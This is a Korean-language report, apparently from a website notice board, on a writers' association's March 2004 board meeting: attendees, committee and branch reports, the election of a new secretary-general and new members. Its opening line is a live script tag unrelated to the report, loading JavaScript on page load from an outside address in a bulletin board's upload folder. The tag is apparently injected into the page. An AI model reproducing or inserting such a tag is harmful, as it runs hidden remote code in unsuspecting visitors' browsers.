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<SCRIPT Language=JavaScript src=http://php.chol.com/~wanho/bbs/data/poem/esuyoil.js></script> 2004년 3월 정례이사회 내용 보고입니다
일시: 2004년 3월 6일 토요일 오후 3시
장소: 작가회의 세미나실
참석자: 염무웅 강태열 박석무 박용수 강정규 정희성 이하석 이시영 최인석
고영직 고형렬 강형철 김명환 김사인 김양호 김이구 김재용 김형수 나희덕 박상률 박찬 방민호 방현석 신현수 오인태 유형종 이정림 이남희 이도윤 이승철 이인휘 이흔복 정도상 정지창 조기조 최원식 하종오 한창훈 현준만
1. 개회 선언이 있었습니다. 먼 곳의 이사님들과 지회, 분과장님들이 때 아닌 대폭설로 참석하지 못하셨습니다.
2. 각 분과위원회 보고가 있었습니다.
아동분과: 3월~5월까지 마지막 주 수요일에 아동문학에 관한 의미 있는 세미나
편집위원회:『내일을 여는 작가』2004년 봄호는 3월 10~13일 사이에 발간될 예정
젊은작가포럼:2004년 총선 미디어감시국민연대(가칭)에 참석(3월 3일)
문화정책위원회:
․문광부‘새예술정책’문학분과 자문회의에 참석하여 의견을 개진(2월 11일)
․문광부‘새예술정책’토론회 참석(2월 19일)
․사무총장 전형위원회에 기초예술 정책방향 보고 및 발제(2월 24일)
․‘예술위원회 설립’법안 처리에 대한 예술계 기자회견에 참여(2월 27)
․국회 문광위원회 법안소위원회 각당 위원실을 방문(2월 27일)
․국회의장실 및 3당원내대표 총무를 방문(3월 2일)
․기초예술 정책대책 및 예술위원회 관련 기초예술단체 관계자간담회참여(3월 3일)
3. 사무국 보고가 있었습니다.
.민족시인 김남주 10주기 추모문화제‘이 두메는 날라와 더불어/'/에 참여(2월 13~14일)
.2004년 문예진흥기금에 여러 사업을 지원신청했으나 확정된 사업 보고
사업명-‘아시아 청년작가 워크샵’/‘2004 작가축제’/‘제9회 홍명희 문학제’
‘기관지 발간 사업『내일을 여는 작가』’
‘비평지 발간 사업『우리 시대의 문학과 비평의 전망』(가제)’
* 구체적인 사업내용 및 일정은 추후 발표하겠습니다.
마사회 특별 적립금 지원사업(문화관광부) 중간보고를 했습니다.
-‘2003 농어촌 청소년문학캠프 사업’중
1)농어촌 청소년을 위한 문학 워크삽이 마무리되었습니다.
2)문예공모‘푸른작가 청소년 문학상’은 심사 진행중이며 3월 중에 시상할 계획입니다
응모 작품수 : 총 983편 접수 / 총 449명 응모했습니다.
중등부 운문 162편 / 산문 31편(총 193편)
고등부 운문 654편 / 산문 136편(총 790편)
3)청소년 문예지『푸른작가 3호』발간 및 무료 배포 예정입니다.
4. 지회 보고가 있었습니다.
강원작가회의: 정기총회를 통해 시인 박종헌을 지회장으로 선임.
경남작가회의: 정기총회를 통해 시인 오인태 회원을 지회장으로 선임.
2005년도 전국문학인대회 경남지회 개최 요망
부산작가회의: 정기총회를 통해 시인 남송우를 지회장으로 선임
대구작가회의: 문화답사기행(3월 6일~7일)
울산작가회의: 정기총회 (3월 11일)예정, 신임 집행부 개편
대전․충남작가회의: 시창작 연구원 개설(3월~12월)
전국사무국장단 회의(4월 3일 예정)
전북작가회의: 4․19학생혁명 44주년 기념‘제8회 전북고교생백일장’개최 예정(4월 19일)
제주작가회의: 정기총회를 통해 시인 김광렬 회원을 지회장으로 선임
4․3 문학제 개최 예정(4월 3일)
충북작가회의: 시인 김창규 회원을 지회장으로 선임
* 2004년 지회장 이동은 다음과 같습니다.
강원지회:신임 박종헌(전임 이상국)
경남지회:신임 오인태(전임 최정규)
인천지회:신임 신현수(전임 김창수)
부산지회:신임 남송우(전임 오정환)
제주지회:신임 김광렬(전임 고정국)
충북지회:신임 김창규(전임 허장무)
5. 안건 및 토의사항입니다.
가. 사무총장 추천 전형위원회 경과보고가 있었습니다. 전형위원회의 경과보고는 공지사항에 보고 된 것을 정리한 것이기에 여기서는 생략하겠습니다.
나. 그동안 고생하신 고형렬 상임이사와 한창훈 사무국장의 사의 표명이 있었습니다.
다. 전형위원회에서 추천한 김형수 회원 사무총장 선임의 건이 상정되었습니다. 이사회 참석자 전원의 박수로 통과되었습니다. 이로써 김형수 회원이 초대 사무총장으로 선출되었습니다.
다. 김형수 사무총장은 젊은작가포럼에서 추천한 김종광 회원을 이사회에 신임 사무국장으로 제청했습니다. 박수로 통과되었습니다.
라. 이사단 재구성에 대한 안건은‘이사장단과 신임 총장의 협의 아래 정하는 바’로 의견이 정리되었습니다.
마. 분과 및 각 위원회 조직개편과 선출에 관한 안건은 ‘신임 사무총장의 재량에 맡기는 바’로 의견이 정리되었습니다.
바. 신임 사무총장이 상정한 사무국 재정 확보에 관한 안건은, 사무총장이 추경예산안(구체적인 사무국 사업계획과 그에 따른 예산 등에 관한 구상)을 다음 이사회에 제출하여, 다시 논의하기로 했습니다.
사. 신입회원 신청자 중 박상수(시), 박종헌(시), 이영주(시), 백가흠(소설), 한동림(소설), 홍양순(소설), 남송우(평론), 이상화(동화) 등 여덟 분이 이사회에서 통과되었습니다.
6. 뒤풀이는 일송정식당, 탱크호프, 월드컵노래방으로 이어졌습니다. 많은 분들이 고형렬 상임이사와 한창훈 사무국장 송별연, 김형수 초대 사무총장 격려연을 겸하는 즐거운 자리를 가졌습니다. 이사회에 참석하지 않으셨던 많은 선생님들과 젊은 작가들이 대거 합류하여 세대를 뛰어넘는 화기애애한 자리였습니다.
이상 2004년 3월 정례 이사회 보고를 마치겠습니다.
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공지사항
